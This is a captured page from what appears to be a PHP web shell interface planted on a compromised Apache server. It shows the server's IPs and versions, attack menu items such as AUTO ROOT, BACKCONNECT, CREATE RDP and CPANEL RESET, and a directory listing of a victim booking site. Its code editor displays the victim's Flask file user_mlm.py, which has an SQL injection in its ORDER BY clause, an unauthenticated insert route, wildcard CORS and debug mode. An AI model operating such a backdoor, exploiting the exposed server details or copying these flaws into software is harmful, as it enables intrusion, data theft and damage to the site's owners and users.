Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_mlm.py
#/var/www/website2024/py-maracar.afaa.website/user_mlm.py # python3 user_mlm.py from flask import Flask, request, jsonify, make_response from flask_cors import CORS import mysql.connector from decorator import token_required from database import get_db_connection from config import SECRET_KEY, DATABASE_HOST, DATABASE_USER, DATABASE_PASSWORD, DATABASE_NAME # Ensure these are defined in your config file app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*"}}) app.config['SECRET_KEY'] = SECRET_KEY def add_cors_headers(response): response.headers.add('Access-Control-Allow-Origin', '*') response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization') response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS') return response @app.after_request def after_request(response): return add_cors_headers(response) @app.route('/mlm/api/view', methods=['GET']) @token_required def view_all_user_teams(): if request.method == 'OPTIONS': return add_cors_headers(make_response(jsonify({'message': 'CORS Preflight'}), 200)) team_id = request.args.get('team_id') user_id = request.args.get('user_id') sponsor_id = request.args.get('sponsor_id') sort_order = request.args.get('sort_order', 'asc').lower() # Ensures sort_order is either 'asc' or 'desc' conn = get_db_connection() cursor = conn.cursor(dictionary=True) try: query = """ SELECT ut.user_team_id, ut.user_id, ut.sponsor_id, ut.team_id, ut.effective_date, ut.position_ID, ut.commission_rate, ut.entry_order, ut.join_date, p.position_Name, ss.first_name, ss.sur_name, u.email, ss.user_ID AS ssUserID , u.social_media AS ssSocialMedia FROM user_team ut INNER JOIN position p ON ut.position_ID = p.position_ID INNER JOIN user u ON ut.user_id = u.user_ID INNER JOIN user ss ON ut.sponsor_id = ss.user_ID """ params = [] conditions = [] # Add conditions dynamically based on the presence of query parameters if team_id: conditions.append("ut.team_id = %s") params.append(team_id) if user_id: conditions.append("ut.user_id = %s") params.append(user_id) if sponsor_id: conditions.append("ut.sponsor_id = %s") params.append(sponsor_id) # Append the conditions to the query if conditions: query += " WHERE " + " AND ".join(conditions) # Add ORDER BY clause safely query += f" ORDER BY ut.entry_order {sort_order}" # Execute the query cursor.execute(query, params) user_teams = cursor.fetchall() response = make_response(jsonify(user_teams), 200) return add_cors_headers(response) except mysql.connector.Error as err: app.logger.error(f'Error fetching user team data: {err}') response = make_response(jsonify({'message': 'Database query failed', 'error': str(err)}), 500) return add_cors_headers(response) finally: cursor.close() conn.close() @app.route('/mlm/api/view_org', methods=['GET']) @token_required def view_org_chart(): user_id_param = request.args.get('user_id', type=int) # Capture user_id from query parameters conn = get_db_connection() try: cursor = conn.cursor(dictionary=True) # Modified query to prioritize user_id 57 and then sort the rest by entry_order cursor.execute(''' SELECT ut.user_team_id, ut.user_id, ut.sponsor_id, ut.team_id, ut.effective_date, ut.commission_rate, ut.entry_order, ut.join_date, u1.position_ID, p.position_Name , u1.first_name AS first_name, u1.sur_name AS sur_name, u1.email AS user_email FROM user_team ut INNER JOIN user u1 ON ut.user_id = u1.user_ID INNER JOIN position p ON u1.position_ID = p.position_ID WHERE u1.status_ID != 3 ORDER BY CASE WHEN ut.user_id = 57 THEN 0 ELSE 1 END, ut.entry_order ASC; ''') rows = cursor.fetchall() # Create a dictionary to hold the tree structure tree = {} node_lookup = {} # Populate the nodes and build a lookup to help with parenting for row in rows: label = { "first_name": row['first_name'], "sur_name": row['sur_name'], "position": row['position_Name'], "user_id": row['user_id'] } node = { 'label': label, 'expanded': True, 'children': [] } node_lookup[row['user_id']] = node # Building the parent-child relationships for row in rows: node = node_lookup[row['user_id']] sponsor_id = row['sponsor_id'] if sponsor_id in node_lookup: node_lookup[sponsor_id]['children'].append(node) else: # Handle nodes without a defined sponsor by adding them at the root level tree[sponsor_id] = node # Ensure user_id 57 is at the root if present # if 57 in node_lookup: # tree = {57: node_lookup[57]} if user_id_param in node_lookup: tree = {user_id_param: node_lookup[user_id_param]} response = make_response(jsonify(list(tree.values()) if tree else list(node_lookup.values())), 200) return add_cors_headers(response) except Exception as e: response = make_response(jsonify({'error': str(e)}), 500) return add_cors_headers(response) finally: cursor.close() conn.close() @app.route('/mlm/api/insert', methods=['POST']) #@token_required def add_user_to_mlm(): users = request.json results = [] conn = get_db_connection() try: cursor = conn.cursor() conn.start_transaction() for data in users: entry_order_query = "SELECT IFNULL(MAX(entry_order), 0) + 1 AS next_entry_order FROM user_team WHERE team_id = %s" cursor.execute(entry_order_query, (data['team_id'],)) next_entry_order = cursor.fetchone()[0] insert_query = '''INSERT INTO user_team (user_id, sponsor_id, team_id, effective_date, position_ID, commission_rate, entry_order) VALUES (%s, %s, %s, CURDATE(), %s, %s, %s)''' cursor.execute(insert_query, (data['user_id'], data['sponsor_id'], data['team_id'], data['position'], data['commission_rate'], next_entry_order)) user_team_id = cursor.lastrowid results.append({'user_id': data['user_id'], 'user_team_id': user_team_id, 'status': 'added'}) conn.commit() except mysql.connector.Error as err: app.logger.error(f'Error adding users to MLM team: {err}') conn.rollback() response = make_response(jsonify({'message': 'Failed to add users to MLM team', 'error': str(err)}), 500) return add_cors_headers(response) finally: cursor.close() conn.close() response = make_response(jsonify({'message': 'Users added to MLM team successfully', 'results': results}), 201) return add_cors_headers(response) @app.route('/mlm/api/update', methods=['PUT']) @token_required def update_user_team(): updates = request.json # Expecting a list of update objects conn = get_db_connection() try: cursor = conn.cursor() conn.start_transaction() for update in updates: if not all([update.get('user_team_id'), update.get('new_team_id'), update.get('new_sponsor_id'), update.get('new_position'), update.get('new_commission_rate')]): response = make_response(jsonify({'message': 'Missing required fields'}), 400) return add_cors_headers(response) update_query = '''UPDATE user_team SET team_id = %s, sponsor_id = %s, position_ID = %s, commission_rate = %s WHERE user_team_id = %s''' # Corrected the parameters to use 'user_team_id' for WHERE clause cursor.execute(update_query, (update['new_team_id'], update['new_sponsor_id'], update['new_position'], update['new_commission_rate'], update['user_team_id'])) conn.commit() response = make_response(jsonify({'message': 'User MLM team information updated successfully'}), 200) return add_cors_headers(response) except mysql.connector.Error as err: app.logger.error(f'Error updating user team information: {err}') conn.rollback() response = make_response(jsonify({'message': 'Failed to update user MLM team information', 'error': str(err)}), 500) return add_cors_headers(response) finally: cursor.close() conn.close() @app.route('/mlm/api/delete', methods=['DELETE']) @token_required def delete_user_from_mlm(): # Get list of user_team_ids from request data instead of single ID user_team_ids = request.json # Assuming the client sends a JSON body with an array of IDs if not user_team_ids: app.logger.error('User team IDs not provided in the request') response = make_response(jsonify({'message': 'User team IDs are required'}), 400) return add_cors_headers(response) conn = get_db_connection() try: cursor = conn.cursor() delete_query = "DELETE FROM user_team WHERE user_team_id = %s" affected_rows = 0 for user_team_id in user_team_ids: cursor.execute(delete_query, (user_team_id,)) affected_rows += cursor.rowcount conn.commit() if affected_rows == 0: response = make_response(jsonify({'message': 'No user teams found or already deleted'}), 404) return add_cors_headers(response) response = make_response(jsonify({'message': f'{affected_rows} user teams deleted successfully'}), 200) return add_cors_headers(response) except mysql.connector.Error as err: app.logger.error(f'Error deleting user teams: {err}') conn.rollback() response = make_response(jsonify({'message': 'Failed to delete user teams', 'error': str(err)}), 500) return add_cors_headers(response) finally: cursor.close() conn.close() if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=424)
Close